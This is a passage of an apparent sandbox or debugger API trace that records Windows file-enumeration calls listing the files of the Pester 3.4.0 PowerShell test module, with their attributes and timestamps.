dwReserved0=0x0, dwReserved1=0x0, cFileName="PesterThrow.Tests.ps1", cAlternateFileName="")) returned 1 [0269.611] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9876e9c4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9876e9c4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9876e9c4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Set-TestInconclusive.ps1", cAlternateFileName="")) returned 1 [0269.611] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9876e9c4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9876e9c4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x98794c2c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xca7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Should.ps1", cAlternateFileName="")) returned 1 [0269.611] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9876e9c4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9876e9c4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9876e9c4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x151f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Should.Tests.ps1", cAlternateFileName="")) returned 1 [0269.611] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9876e9c4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9876e9c4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9876e9c4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x119, dwReserved0=0x0, dwReserved1=0x0, cFileName="Test-Assertion.ps1", cAlternateFileName="")) returned 1 [0269.611] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9876e9c4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9876e9c4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9876e9c4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x119, dwReserved0=0x0, dwReserved1=0x0, cFileName="Test-Assertion.ps1", cAlternateFileName="")) returned 0 [0269.611] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0269.613] GetProcessHeap () returned 0xc10000 [0269.613] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33e8f78 | out: hHeap=0xc10000) returned 1 [0269.613] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e314c8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e314c8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e314c8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BreakAndContinue.Tests.ps1", cAlternateFileName="")) returned 1 [0269.613] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x987224f6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x987224f6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x987224f6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x921, dwReserved0=0x0, dwReserved1=0x0, cFileName="Context.ps1", cAlternateFileName="")) returned 1 [0269.613] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98748765, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x98748765, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x98748765, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Context.Tests.ps1", cAlternateFileName="")) returned 1 [0269.613] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x986fc293, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x986fc293, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x986fc293, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4559, dwReserved0=0x0, dwReserved1=0x0, cFileName="Coverage.ps1", cAlternateFileName="")) returned 1 [0269.613] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9876e9c4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9876e9c4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9876e9c4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2cac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Coverage.Tests.ps1", cAlternateFileName="")) returned 1 [0269.613] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x987224f6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x987224f6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x987224f6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xff9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Describe.ps1", cAlternateFileName="")) returned 1 [0269.614] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98794c2c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x98794c2c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x98794c2c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Describe.Tests.ps1", cAlternateFileName="")) returned 1 [0269.614] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e314c8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e314c8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e314c8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="GlobalMock-A.Tests.ps1", cAlternateFileName="")) returned 1 [0269.614] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e314c8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e314c8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e314c8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="GlobalMock-B.Tests.ps1", cAlternateFileName="")) returned 1 [0269.614] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x987bae9f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x987bae9f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x987bae9f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x335, dwReserved0=0x0, dwReserved1=0x0, cFileName="In.ps1", cAlternateFileName="")) returned 1 [0269.614] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e57727, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e57727, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e57727, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x0, cFileName="In.Tests.ps1", cAlternateFileName="")) returned 1 [0269.614] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x987bae9f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x987bae9f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x987bae9f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf41, dwReserved0=0x0, dwReserved1=0x0, cFileName="InModuleScope.ps1", cAlternateFileName="")) returned 1 [0269.614] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98794c2c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x98794c2c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x98794c2c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="InModuleScope.Tests.ps1", cAlternateFileName="")) returned 1 [0269.615] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x987bae9f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x987bae9f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x987bae9f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2ea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="It.ps1", cAlternateFileName="")) returned 1 [0269.615] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e314c8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e314c8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e314c8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x261a, dwReserved0=0x0, dwReserved1=0x0, cFileName="It.Tests.ps1", cAlternateFileName="")) returned 1 [0269.615] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98794c2c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x98794c2c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x98794c2c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xbf58, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mock.ps1", cAlternateFileName="")) returned 1 [0269.615] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e57727, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e57727, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e57727, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe941, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mock.Tests.ps1", cAlternateFileName="")) returned 1 [0269.615] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e314c8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e314c8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e314c8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xcef, dwReserved0=0x0, dwReserved1=0x0, cFileName="New-Fixture.ps1", cAlternateFileName="")) returned 1 [0269.615] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x987bae9f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x987bae9f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x987bae9f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc82, dwReserved0=0x0, dwReserved1=0x0, cFileName="New-Fixture.Tests.ps1", cAlternateFileName="")) returned 1 [0269.615] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e0b25d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e0b25d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e0b25d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4bc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="PesterState.ps1", cAlternateFileName="")) returned 1 [0269.615] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e57727, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e57727, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e57727, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x386c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PesterState.Tests.ps1", cAlternateFileName="")) returned 1 [0269.615] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e314c8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e314c8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e314c8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x370d, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupTeardown.ps1", cAlternateFileName="")) returned 1 [0269.616] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x986fc293, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x986fc293, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x986fc293, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x15c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupTeardown.Tests.ps1", cAlternateFileName="")) returned 1 [0269.616] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98748765, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x98748765, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x98748765, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestDrive.ps1", cAlternateFileName="")) returned 1 [0269.616] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e0b25d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e0b25d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e0b25d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1054, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestDrive.Tests.ps1", cAlternateFileName="")) returned 1 [0269.616] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9876e9c4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9876e9c4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9876e9c4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4033, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestResults.ps1", cAlternateFileName="")) returned 1 [0269.616] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e57727, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e57727, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e57727, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x6be7, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestResults.Tests.ps1", cAlternateFileName="")) returned 1 [0269.616] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x987224f6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x987224f6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x987224f6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1a2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestsRunningInCleanRunspace.Tests.ps1", cAlternateFileName="")) returned 1 [0269.616] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x987224f6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x987224f6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x987224f6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1a2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestsRunningInCleanRunspace.Tests.ps1", cAlternateFileName="")) returned 0 [0269.616] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0269.616] GetProcessHeap () returned 0xc10000 [0269.616] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0269.616] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98794c2c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x98794c2c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x98794c2c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x263, dwReserved0=0x0, dwReserved1=0x0, cFileName="LICENSE", cAlternateFileName="")) returned 1 [0269.617] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9876e9c4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9876e9c4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9876e9c4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x16f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="nunit_schema_2.5.xsd", cAlternateFileName="")) returned 1 [0269.617] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e0b25d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e0b25d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e0b25d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x734, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pester.nuspec", cAlternateFileName="")) returned 1 [0269.617] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9876e9c4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9876e9c4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9876e9c4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1014, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pester.psd1", cAlternateFileName="")) returned 1 [0269.617] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9876e9c4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9876e9c4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9876e9c4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x6956, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pester.psm1", cAlternateFileName="")) returned 1 [0269.617] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e57727, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e57727, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e57727, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b95, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pester.Tests.ps1", cAlternateFileName="")) returned 1 [0269.617] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e0b25d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e0b25d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e0b25d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x16ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="README.md", cAlternateFileName="")) returned 1 [0269.617] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc9fd9a2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a83f191, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Snippets", cAlternateFileName="")) returned 1 [0269.617] GetProcessHeap () returned 0xc10000 [0269.617] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0269.617] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Snippets\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc9fd9a2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a83f191, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0269.620] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc9fd9a2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a83f191, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0269.620] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98794c2c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x98794c2c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, 